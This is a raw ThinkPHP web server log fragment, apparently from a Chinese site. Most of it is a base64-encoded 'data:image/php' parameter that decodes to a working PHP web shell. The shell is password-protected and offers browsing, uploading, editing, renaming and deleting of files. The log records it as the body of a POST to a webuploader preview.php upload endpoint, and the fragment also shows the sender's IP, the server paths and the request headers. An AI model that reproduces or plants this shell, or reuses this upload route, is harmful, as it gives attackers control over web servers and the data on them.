'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:31:44+08:00 ] 116.213.36.234 POST www.51tianwei.com/includes/webuploader/0.1.5/server/preview.php [运行时间:0.002841s] [吞吐率:351.99req/s] [内存消耗:196.75kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'includes', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 